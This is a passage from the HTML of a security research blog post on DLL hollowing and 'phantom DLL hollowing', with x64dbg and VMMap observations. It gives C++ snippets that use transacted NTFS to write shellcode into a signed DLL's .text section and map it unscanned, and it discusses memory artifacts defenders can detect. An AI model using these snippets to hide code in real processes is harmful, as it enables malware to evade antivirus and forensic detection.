InLoadOrderModuleList;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	LIST_ENTRY              InMemoryOrderModuleList;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	LIST_ENTRY              InInitializationOrderModuleList;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>} PEB_LDR_DATA, *PPEB_LDR_DATA;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">It’s important to note that to avoid leaving suspicious memory artifacts behind, an attacker should add their module to all three of the lists. In <strong><em>Figure 3 </em></strong>(shown below) I’ve executed my hollower PoC without modifying the loaded modules list in the PEB to reflect the addition of the selected hollowing module (<strong>aadauthhelper.dll</strong>).</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><div class="q2uC4 _3LksV"><div class="_2CvYQ c-Mgr _1bhjj _1bhjj _1hD8w"><div data-hook="imageViewer" class="_1Lhwj image-container"><div class="xdJBZ"><img class="_1Fjtc _2E02D" src="malicious-memory-artifacts-part-i-dll-hollowing_data/file_004.png" style="opacity: 0;"><img data-pin-url="https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing" data-pin-media="https://static.wixstatic.com/media/c1d8f6_32ceb500ff4f470e800010ea60be8944~mv2.png/v1/fit/w_695,h_277,al_c,q_80/file.png" class="_1Fjtc _2lDdg" src="malicious-memory-artifacts-part-i-dll-hollowing_data/c1d8f6_32ceb500ff4f470e800010ea60be8944mv2.webp" style="opacity: 1;"></div><div class=""></div><div class=""></div><div class="_3ULLf image-caption" data-hook="imageViewerCaption">Figure 3 – 64-bit DLL hollower PoC embedding a message box shellcode into aadauthhelper.dll</div></div></div></div><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">Using <a href="https://x64dbg.com/#start" target="_blank" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">x64dbg</u></a> to view the memory allocated for the <strong>aadauthhelper.dll</strong> base at <em>0x00007ffd326a0000</em> we can see that despite its IMG tag, it looks distinctly different from the other IMG module memory surrounding it.</p><div class="q2uC4 _3LksV"><div class="_2CvYQ c-Mgr _1bhjj _1bhjj _1hD8w"><div data-hook="imageViewer" class="_1Lhwj image-container"><div class="xdJBZ"><img class="_1Fjtc _2E02D" src="malicious-memory-artifacts-part-i-dll-hollowing_data/file_005.png" style="opacity: 0;"><img data-pin-url="https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing" data-pin-media="https://static.wixstatic.com/media/c1d8f6_1b0784f265d34ac8a162d295727bf7cd~mv2.png/v1/fit/w_853,h_381,al_c,q_80/file.png" class="_1Fjtc _2lDdg" src="malicious-memory-artifacts-part-i-dll-hollowing_data/c1d8f6_1b0784f265d34ac8a162d295727bf7cdmv2.webp" style="opacity: 1;"></div><div class=""></div><div class=""></div><div class="_3ULLf image-caption" data-hook="imageViewerCaption">Figure 4 – Artificially mapped aadauthhelper.dll orphaned from its loaded modules list entry</div></div></div></div><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">This is because the association between a region of image memory and its module is inferred rather than explicitly recorded. In this case, <a href="https://x64dbg.com/#start" target="_blank" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">x64dbg</u></a> is scanning the aforementioned PEB loaded modules list for an entry with a<strong> BaseAddress</strong> of<em> 0x00007ffd326a0000</em> and upon not finding one, does not associate a name with the region or associate its subsections with the sections from its PE header. Upon adding <strong>aadauthhelper.dll </strong>to the loaded modules lists, <a href="https://x64dbg.com/#start" target="_blank" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">x64dbg</u></a> shows the region as if it corresponded to a legitimately loaded module.</p><div class="q2uC4 _3LksV"><div class="_2CvYQ c-Mgr _1bhjj _1bhjj _1hD8w"><div data-hook="imageViewer" class="_1Lhwj image-container"><div class="xdJBZ"><img class="_1Fjtc _2E02D" src="malicious-memory-artifacts-part-i-dll-hollowing_data/file_002.png" style="opacity: 0;"><img data-pin-url="https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing" data-pin-media="https://static.wixstatic.com/media/c1d8f6_d96a87e7418d4774acb34291a776fc66~mv2.png/v1/fit/w_848,h_97,al_c,q_80/file.png" class="_1Fjtc _2lDdg" src="malicious-memory-artifacts-part-i-dll-hollowing_data/c1d8f6_d96a87e7418d4774acb34291a776fc66mv2.webp" style="opacity: 1;"></div><div class=""></div><div class=""></div><div class="_3ULLf image-caption" data-hook="imageViewerCaption">Figure 5 – Mapped view of aadauthhelper.dll linked to the loaded modules list</div></div></div></div><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">Comparing this artificial module (implanted with shellcode) with a legitimately loaded <strong>aadauthhelper.dll</strong> we can see there is no difference from the perspective of a memory scanner. Only once we view the <strong><em>.text </em></strong>sections in memory and compare them between the legitimate and hollowed versions of <strong>aadauthhelper.dll</strong> can we see the difference.</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><h3 class="_3tkn1 _208Ie blog-post-header-three-font blog-post-header-three-color _2QAo- _25MYV _3ZX8L _1dH_e"><strong>Phantom hollowing</strong></h3><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">DLL hollowing does in of itself represent a major leap forward in malware design. Notably though, the <em>+RX</em> characteristic of the <em><strong>.text</strong></em> section conventionally forces the attacker into a position of manually modifying this region to be <em>+RW</em> using an API such as <a href="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtProtectVirtualMemory.html" target="_blank" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">NTDLL.DLL!NtProtectVirtualMemory</u></a> after it has been mapped, writing their shellcode to it and then switching it back to <em>+RX</em> prior to execution. This sets off two different alarms for a sophisticated defender to pick up on:</p><ol class="knh9u _2EyLv"><li class="_3_0WU _208Ie _1dH_e _1e3Rk _19kPR _2QAo- _25MYV _3ZX8L _1dH_e"><p class="_208Ie">Modification of the permissions of a PTE associated with image memory after it has already been mapped using an API such as <a href="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtProtectVirtualMemory.html" target="_blank" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">NTDLL.DLL!NtProtectVirtualMemory</u></a>.</p></li><li class="_3_0WU _208Ie _1dH_e _1e3Rk _19kPR _2QAo- _25MYV _3ZX8L _1dH_e"><p class="_208Ie">A new private view of the modified image section being created within the afflicted process memory space.</p></li></ol><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">While the first alarm is self-explanatory the second merits further consideration. It may be noted in <strong><em>Figure 2</em></strong> that the initial allocation permissions of all image related memory is <em>+RWXC</em>, or <em>PAGE_EXECUTE_WRITECOPY</em>. By default, mapped views of image sections created from DLLs are shared as a memory optimization by Windows. For example, only one copy of kernel32.dll will reside in physical memory but will be shared throughout the virtual address space of every process via a shared section object. Once the mapped view of a shared section is modified, a unique (modified) copy of it will be privately stored within the address space of the process which modified it. This characteristic provides a valuable artifact for defenders who aim to identify modified regions of image memory without relying on runtime interception of modifications to the PTE.</p><div class="q2uC4 _3LksV"><div class="_2CvYQ c-Mgr _1bhjj _1bhjj _1hD8w"><div data-hook="imageViewer" class="_1Lhwj image-container"><div class="xdJBZ"><img class="_1Fjtc _2E02D" src="malicious-memory-artifacts-part-i-dll-hollowing_data/file.png" style="opacity: 0;"><img data-pin-url="https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing" data-pin-media="https://static.wixstatic.com/media/c1d8f6_ff8edef7c79b48c2bbfbd29de97fa5b8~mv2.png/v1/fit/w_1196,h_248,al_c,q_80/file.png" class="_1Fjtc _2lDdg" src="malicious-memory-artifacts-part-i-dll-hollowing_data/c1d8f6_ff8edef7c79b48c2bbfbd29de97fa5b8mv2.webp" style="opacity: 1;"></div><div class=""></div><div class=""></div><div class="_3ULLf image-caption" data-hook="imageViewerCaption">Figure 6 - VMMap of unmodified aadauthhelper.dll</div></div></div></div><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">In <strong><em>Figure 6</em></strong> above, it can be clearly seen that the substantial majority of <strong>aadauthhelper.dll</strong> in memory is shared, as is typical of mapped image memory. Notably though, two regions of the image address space (corresponding to the <strong><em>.data</em></strong> and <strong><em>.didat</em></strong> sections) have two private pages associated with them. This is because these sections are writable, and whenever a previously unmodified page within their regions is modified it will be made private on a per-page basis. </p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><div class="q2uC4 _3LksV"><div class="_2CvYQ c-Mgr _1bhjj _1bhjj _1hD8w"><div data-hook="imageViewer" class="_1Lhwj image-container"><div class="xdJBZ"><img class="_1Fjtc _2E02D" src="malicious-memory-artifacts-part-i-dll-hollowing_data/file_003.png" style="opacity: 0;"><img data-pin-url="https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing" data-pin-media="https://static.wixstatic.com/media/c1d8f6_672e60de1c304fde8580ec4424af0236~mv2.png/v1/fit/w_1207,h_248,al_c,q_80/file.png" class="_1Fjtc _2lDdg" src="malicious-memory-artifacts-part-i-dll-hollowing_data/c1d8f6_672e60de1c304fde8580ec4424af0236mv2.webp" style="opacity: 1;"></div><div class=""></div><div class=""></div><div class="_3ULLf image-caption" data-hook="imageViewerCaption">Figure 7 - VMMap of hollowed aadauthhelper.dll</div></div></div></div><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">After allowing my hollower to change the protections of the <strong><em>.text</em></strong> section and infect a region with my shellcode, 4K (the default size of a single page) within the <strong><em>.text</em></strong> sections is suddenly marked as private rather than shared. Notably, however many bytes of a shared region are modified (even if it is only one byte) the total size of the affected region will be rounded up to a multiple of the default page size. In this case, my shellcode was 784 bytes which was rounded up to 0x1000, and a full page within <strong><em>.text</em></strong> was made private despite a considerably smaller number of shellcode bytes being written.</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">Thankfully for us attackers, it is indeed possible to modify an image of a signed PE without changing its contents on disk, and prior to mapping a view of it into memory using transacted NTFS (TxF).</p><div class="q2uC4 _3LksV"><div class="_2CvYQ _1wj_L _1vQBB _1vQBB _3Q43X _2mbaq _2mbaq"><div data-hook="imageViewer" class="_1Lhwj image-container"><div class="xdJBZ"><img class="_1Fjtc _2E02D" src="malicious-memory-artifacts-part-i-dll-hollowing_data/file_006.png" style="opacity: 0;"><img data-pin-url="https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing" data-pin-media="https://static.wixstatic.com/media/c1d8f6_ad6293f5613544bbb967b886a60531d4~mv2.png/v1/fit/w_678,h_250,al_c,q_80/file.png" class="_1Fjtc _2lDdg" src="malicious-memory-artifacts-part-i-dll-hollowing_data/c1d8f6_ad6293f5613544bbb967b886a60531d4mv2.webp" style="opacity: 1;"></div><div class=""></div><div class=""></div><div class="_3ULLf image-caption" data-hook="imageViewerCaption">Figure 8 – TxF APIs</div></div></div></div><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">Originally designed to provide easy rollback functionality to installers, <a href="https://docs.microsoft.com/en-us/windows/win32/fileio/about-transactional-ntfs" target="_blank" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">TxF</u></a> was implemented in such a way by Microsoft that it allows for complete isolation of transacted data from external applications (including AntiVirus). Therefore if a malware writer opens a TxF file handle to a legitimate Microsoft signed PE file on disk, he can conspicuously use an API such as <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-ntwritefile" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">NTDLL.DLL!NtWriteFile</u></a> to overwrite the contents of this PE while never causing the malware to be scanned when touching disk (as he has not truly modified the PE on disk). He then has a phantom file handle referencing a file object containing malware which can be used the same as a regular file handle would, with the key difference that it is backed by an unmodified and legitimate/signed file of his choice. As previously discussed, <a href="http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">NTDLL.DLL!NtCreateSection</u></a> consumes a file handle when called with <strong><em>SEC_IMAGE</em></strong>, and the resulting section may be mapped into memory using <a href="http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtMapViewOfSection.html" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">NTDLL.DLL!NtMapViewOfSection</u></a>. To the great fortune of the malware writer, these may be transacted file handles, effectively providing him a means of creating phantom image sections.</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">The essence of phantom DLL hollowing is that an attacker can open a TxF handle to a Microsoft signed DLL file on disk, infect its <strong><em>.text</em></strong> section with his shellcode, and then generate a phantom section from this malware-implanted image and map a view of it to the address space of a process of his choice. The file object underlying the mapping will still point back to the legitimate Microsoft signed DLL on disk (which has not changed) however the view in memory will contain his shellcode hidden in its <strong><em>.text</em></strong> section with +RX permissions. </p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>NtStatus = NtCreateTransaction(&amp;hTransaction,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    TRANSACTION_ALL_ACCESS,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    &amp;ObjAttr,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    nullptr,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    nullptr,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    0,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    0,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    0,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    nullptr,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    nullptr);</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>hFile = CreateFileTransactedW(FilePath,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    GENERIC_WRITE | GENERIC_READ, // The permission to write to the DLL on disk is required even though we technically aren't doing this.</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    0,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    nullptr,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    OPEN_EXISTING,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    FILE_ATTRIBUTE_NORMAL,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    nullptr,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    hTransaction,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    nullptr,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    nullptr);</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>...</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>memcpy(pFileBuf + pSectHdrs-&gt;PointerToRawData + dwCodeRva, pCodeBuf, dwReqBufSize);</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>if (WriteFile(hFile, pFileBuf, dwFileSize, (PDWORD)&amp; dwBytesWritten, nullptr)) {</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    HANDLE hSection = nullptr;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    NtStatus = NtCreateSection(&amp;hSection, SECTION_ALL_ACCESS, nullptr, nullptr, PAGE_READONLY, SEC_IMAGE, hFile);</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    if (NT_SUCCESS(NtStatus)) {</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>        *pqwMapBufSize = 0;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>        NtStatus = NtMapViewOfSection(hSection, GetCurrentProcess(), (void**)ppMapBuf, 0, 0, nullptr, (PSIZE_T)pqwMapBufSize, 1, 0, PAGE_READONLY);</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    }</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>}</em></span></p><h2 class="_3f-vr _208Ie blog-post-header-two-font blog-post-header-two-color _2QAo- _25MYV _3ZX8L _1dH_e"></h2><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">Notably in the snippet above, rather than using the <strong><em>.text</em></strong> <em>IMAGE_SECTION_HEADER.VirtualAddress</em> to identify the infection address of my shellcode I am using <em>IMAGE_SECTION_HEADER.PointerToRawData</em>. This is due to the fact that although I am not writing any content to disk, the PE file is still technically physical in the sense that it has not yet been mapped in to memory. Most relevant in the side effects of this is the fact that the sections will begin at <em>IMAGE_OPTIONAL_HEADER.FileAlignment</em> offsets rather than <em>IMAGE_OPTIONAL_HEADER.SectionAlignment</em> offsets, the latter of which typically corresponds to the default page size.</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">The only drawback of phantom DLL hollowing is that even though we are not writing to the image we are hollowing on disk (which will typically be protected In System32 and unwritable without admin and UAC elevation) in order to use APIs such as <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-ntwritefile" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">NTDLL.DLL!NtWriteFile</u></a> to write malware to phantom files, one must first open a handle to its underlying file on disk with write permissions. In the case of an attacker who does not have sufficient privileges to create their desired TxF handle, a solution is to simply copy a DLL from System32 to the malware’s application directory and open a writable handle to this copy. The path of this file is less stealthy to a human analyst, however from a program’s point of view the file is still a legitimate Microsoft signed DLL and such DLLs often exist in many directories outside of System32, making an automated detection without false positives much more difficult.</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">Another important consideration with phantom sections is that it is not safe to modify the <strong><em>.text </em></strong>section at an arbitrary offset. This is because a <strong><em>.text</em></strong> section within an image mapped to memory will look different from its equivalent file on disk, and because it may contain data directories whose modification will corrupt the PE. When relocations are applied to the PE, this will cause all of the absolute addresses within the file to be modified (re-based) to reflect the image base selected by the OS, due to ASLR. If shellcode is written to a region of code containing absolute address references, it will cause the shellcode to be corrupted when <a href="http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtMapViewOfSection.html" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">NTDLL.DLL!NtMapViewOfSection</u></a> is called.</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">bool CheckRelocRange(uint8_t* pRelocBuf, uint32_t dwRelocBufSize, uint32_t dwStartRVA, uint32_t dwEndRVA) {</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    IMAGE_BASE_RELOCATION * pCurrentRelocBlock;</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    uint32_t dwRelocBufOffset, dwX;</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    bool bWithinRange = false;</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    for (pCurrentRelocBlock = (IMAGE_BASE_RELOCATION *)pRelocBuf, dwX = 0, dwRelocBufOffset = 0; pCurrentRelocBlock-&gt;SizeOfBlock; dwX++) {</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">        uint32_t dwNumBlocks = ((pCurrentRelocBlock-&gt;SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(uint16_t));</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">        uint16_t *pwCurrentRelocEntry = (uint16_t*)((uint8_t*)pCurrentRelocBlock + sizeof(IMAGE_BASE_RELOCATION));</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">        for (uint32_t dwY = 0; dwY &lt; dwNumBlocks; dwY++, pwCurrentRelocEntry++) {</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><a class="_1fYLo blog-link-hashtag-color _7GGO0 _2N2cN" href="https://social-blog.wix.com/search/.hash.ifdef" target="_self"><span><em><span style="color:#92908d">#ifdef</span></em></span></a><em><span style="color:#92908d"> _WIN64</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><a class="_1fYLo blog-link-hashtag-color _7GGO0 _2N2cN" href="https://social-blog.wix.com/search/.hash.define" target="_self"><span><em><span style="color:#92908d">#define</span></em></span></a><em><span style="color:#92908d"> RELOC_FLAG_ARCH_AGNOSTIC IMAGE_REL_BASED_DIR64</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><a class="_1fYLo blog-link-hashtag-color _7GGO0 _2N2cN" href="https://social-blog.wix.com/search/.hash.else" target="_self"><span><em><span style="color:#92908d">#else</span></em></span></a></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><a class="_1fYLo blog-link-hashtag-color _7GGO0 _2N2cN" href="https://social-blog.wix.com/search/.hash.define" target="_self"><span><em><span style="color:#92908d">#define</span></em></span></a><em><span style="color:#92908d"> RELOC_FLAG_ARCH_AGNOSTIC IMAGE_REL_BASED_HIGHLOW</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><a class="_1fYLo blog-link-hashtag-color _7GGO0 _2N2cN" href="https://social-blog.wix.com/search/.hash.endif" target="_self"><span><em><span style="color:#92908d">#endif</span></em></span></a></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">            if (((*pwCurrentRelocEntry &gt;&gt; 12) &amp; RELOC_FLAG_ARCH_AGNOSTIC) == RELOC_FLAG_ARCH_AGNOSTIC) {</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">                uint32_t dwRelocEntryRefLocRva = (pCurrentRelocBlock-&gt;VirtualAddress + (*pwCurrentRelocEntry &amp; 0x0FFF));</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">                if (dwRelocEntryRefLocRva &gt;= dwStartRVA &amp;&amp; dwRelocEntryRefLocRva &lt; dwEndRVA) {</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L 